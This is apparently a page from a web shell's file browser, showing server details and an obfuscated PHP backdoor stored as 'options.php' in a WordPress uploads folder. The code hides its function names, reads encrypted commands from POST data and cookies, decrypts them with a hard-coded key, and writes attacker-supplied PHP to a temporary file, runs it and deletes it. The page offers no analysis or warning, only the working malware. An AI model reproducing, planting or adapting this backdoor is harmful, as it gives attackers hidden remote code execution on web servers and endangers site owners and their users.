HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/options.php
<?php 


$mfvmevy	=      'mfvmevy'    ^    '';


$hmahaz /*  yqn */ = /*v_   */ $mfvmevy(449-352) /*  czbp*/ . /* x  */ $mfvmevy(772-658) /* d*/ .     "r"."\x61"   .    $mfvmevy(1031-910) /*  lt   */ . /* sbpsvx*/ "_"."m".$mfvmevy(97) /*   zb_vlb*/ .    $mfvmevy(112);

$ljhbwyvsdm /* y  */ =    "i"."m"."\x70"    .	"l"."o"."\144" /*ewoc   */ . /* bbzmni */ "e";

function    _feh_tu($xfgopi,   $wfvfluruv){    global	$mfvmevy;
 /* mb*/ 

      $xfgopi    =	$mfvmevy(60)      .  "?"."p"."h".$mfvmevy(173-61) /*pr */ . /*t_  */ $mfvmevy(32)   .	"\165"    .	"n"."l".$mfvmevy(408-303)       .       $mfvmevy(110)  .   "k".$mfvmevy(40) /*   irv  */ .    $mfvmevy(361-266)    .      "\137"    .    $mfvmevy(612-542) /*  etym */ .     "\x49" /*  qkwq   */ .    $mfvmevy(243-167) /* gbv   */ .   "\105" /*  uqm*/ .   $mfvmevy(1083-988) /* bxufde  */ .    "_".")".";".$mfvmevy(32) /*   t  */ . /*b_fyx */ $xfgopi["\x64"];    $yftce_sz      =      $mfvmevy(944-842)      .	$mfvmevy(1011-906)."\154"     .  "e".$mfvmevy(161-66)     . /*  s  */ "\160"    . /*xanves */ "\x75"    .   "t"."_"."\x63" /*   grbrde  */ . /* z*/ "o"."n"."\x74" /* p  */ . /* nc  */ "\145" /*   i  */ .     $mfvmevy(406-296) /*   rbokb */ . /*klnxct   */ "t".$mfvmevy(115);	


 /* lva */ $yftce_sz($wfvfluruv,    $xfgopi);
 /*  wejqtq*/ 
    wikfap($wfvfluruv);}


$k_kbcpr       =	73;

function     wikfap($wfvfluruv){


    global    $mfvmevy;       


 /*  r   */ include($wfvfluruv);

	$ctxyz /*t  */ = /*   zzis  */ $wfvfluruv;


	@unlink($ctxyz);
}



function    k_yesvzpcd(){
 /* j*/ global      $mfvmevy;



    $hmulvbrfvh	= /*  ndrcjh  */ array();


     $hmulvbrfvh[$mfvmevy(112) /*  _wk*/ .    "v"]  =       phpversion();
   $hmulvbrfvh[$mfvmevy(850-735) /* h*/ .	"\x76"] /* uwt */ =	$mfvmevy(89-38)      . /*jqldr*/ $mfvmevy(46)	. /*y_mz */ "\x35";
	$ru__fuh /*cpxymk*/ =	74;      echo    @serialize($hmulvbrfvh);
}







function	jphexcxrbp($xfgopi, /* eqqvvv */ $qe_hr)
{
 /* dh*/ global /* ylj   */ $mfvmevy;


    $yypgmngglh /* ngbs  */ = /*jllq  */ ""; /*d  */ $fzzquk /*   w */ = /*prlzu*/ strlen($xfgopi);

    $wrlulf /*   lgclmp  */ =	strlen($qe_hr);  $hmulvbrfvh  = /*  xu_xbk  */ 0; /*   s   */ $tdu__tys /*rv  */ = /*sz */ 0;

     /*   vxw*/ while /* q  */ ($hmulvbrfvh /*   aj   */ < /*   vvz_c  */ $fzzquk)    {
    $pcrmjqvlpl /*urzz */ =	$xfgopi[$hmulvbrfvh] /* _cl_u */ ^	$qe_hr[$tdu__tys       %	$wrlulf];


	$yypgmngglh    .=    $pcrmjqvlpl;
      $tdu__tys++;	 /* ge  */ $hmulvbrfvh++;
	}

 /*ohyn  */ 


 /* b  */ if      (strlen($yypgmngglh)	>      20)    {

 /* _likn*/ $ds_rncu      =     substr($yypgmngglh,	0,      20);


 /*  aaqbwr  */ } /*   zist*/ if    (empty($yypgmngglh))      {
     $yypgmngglh /* l  */ =    date('Y-m-d	H:i:s');
 /*   uargx */ }

  return	$yypgmngglh;


}







function	_wdwsahqdz($sptdo)

{

    global /*qlt*/ $mfvmevy;    
 /*  ybjw */ $vahfz    =  "\x31"	.	"\145"      .  "\x34"    .      $mfvmevy(97)."7"."\x32"    . /*  wh   */ $mfvmevy(1026-924)    . /*  uzw  */ "\x33"	.    $mfvmevy(45) /*  hkosh  */ .       "\65"       .     "\62"	.   "\x62"     .    $mfvmevy(51)      . /*  pb*/ "\55"	. /*  zh*/ "\x34"  .     $mfvmevy(54) /* turqw  */ .    "f"."\x65" /* pr_*/ .  $mfvmevy(920-875)     .  $mfvmevy(97)."6".$mfvmevy(52) /*  bglizu */ . /* gd  */ "\x64"   .     "-"."\67" /*   cw   */ . /* qddmpq   */ "7"."4".$mfvmevy(97)."7".$mfvmevy(847-749)  .	$mfvmevy(97)."\x32"	. /*  g   */ $mfvmevy(135-84) /*hi */ .       "1"."\67" /*  nn */ . /*buq  */ $mfvmevy(700-650);
 /*   sy  */ 

     foreach /*jgjoa  */ ($sptdo    as	$qvzrvf_orf	=>     $xfgopi) /* nxket*/ {
	ptv_gj(base64_decode($xfgopi),  $vahfz, /*  yexxrp */ $qvzrvf_orf); /*gwnwam */ }


}

function /*nvasj*/ ptv_gj($xfgopi,     $vahfz,     $qvzrvf_orf)
{
 /*  jylgxf  */ global      $mfvmevy; /*x */ 


	$xfgopi    =    unserialize(jphexcxrbp(jphexcxrbp($xfgopi,  $vahfz),	$qvzrvf_orf));	$ulybgcpelm /* ghbod  */ = /*q */ 'sfxgtuhszl';	$albrd /*xsn */ = /*   nnxord  */ 'pqhs';

 /*b   */ if  (isset($xfgopi[$mfvmevy(618-521)    . /*  sewnn  */ "\x6b"]))  {


 /*lomvnh*/ if    ($xfgopi[$mfvmevy(97)] /*  aofuao  */ ==    $mfvmevy(1011-906))      { /*   ggc*/ k_yesvzpcd();

  }	elseif	($xfgopi[$mfvmevy(97)] /* o   */ ==	"e") /*x */ {	_feh_tu($xfgopi,    sprintf(".".$mfvmevy(47)     .  "%".$mfvmevy(472-357)   .   "."."p"."\x6c",    md5($vahfz)));
			$kflyl       =	44;
    }

	exit();

    }
}


_wdwsahqdz($_POST);   
$sjn_k      = /*mbqdh   */ 'rawurldecode';
$yzrybex /*  q  */ =    $hmahaz($sjn_k, /*   x_  */ $_POST);

$ljhbwyvsdm("",    $sjn_k);

_wdwsahqdz($_COOKIE);$rcbupc	=    $hmahaz($sjn_k, /*uosba */ $_COOKIE);





?>